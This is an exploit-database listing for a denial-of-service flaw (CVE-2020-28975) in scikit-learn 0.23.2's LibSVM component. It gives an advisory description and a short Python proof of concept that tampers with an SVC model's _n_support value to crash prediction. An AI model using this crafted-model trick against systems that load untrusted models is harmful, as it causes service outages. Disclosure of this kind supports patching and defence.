[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

SciKit-Learn 0.23.2 Denial Of Service Vulnerability

Author
pabloec20
Risk
[
Security Risk Medium
]
0day-ID
0day-ID-35358
Category
dos / poc
Date add
01-12-2020
CVE
CVE-2020-28975
Platform
multiple
SciKit-Learn 0.23.2 Denial Of Service 

[Description]

svm_predict_values in svm.cpp in  Libsvm  v324, as used in scikit-learn
0.23.2 and other products, allows attackers to  cause a denial of service
(segmentation fault) via  a crafted model SVM (introduced via  pickle,
json, or any other model permanence technique) with a large value in the
_n_support array.


[CVE ID]

CVE-2020-28975


[Vendor of Product]

 SciKit-Learn

[Affected Product Code Base]

 scikit-learn - 0.23.2

[Affected Component]

 LibSVM

[Attack Type]

 Local

[Impact]

  Denial of Service

[Attack Vectors]

 specially crafted file

[Reference]

 https://github.com/scikit-learn/scikit-learn/issues/18891
<https://github.com/scikit-learn/scikit-learn/issues/18891>


https://github.com/cjlin1/libsvm/blob/9a3a9708926dec87d382c43b203f2ca19c2d56a0/svm.cpp#L2501
<https://github.com/cjlin1/libsvm/blob/9a3a9708926dec87d382c43b203f2ca19c2d56a0/svm.cpp#L2501>

[Discoverer]

 pabloec20



----------
Editor's note - Steps/Code to Reproduce

from sklearn import svm
from sklearn import datasets


if __name__ == '__main__':
    X,y = datasets.load_iris(return_X_y=True)
    clf = svm.SVC()
    clf.fit(X, y)
    clf._n_support[0] = 1000000
    y_pred = clf.predict(X)

#  0day.today [2024-11-16]  #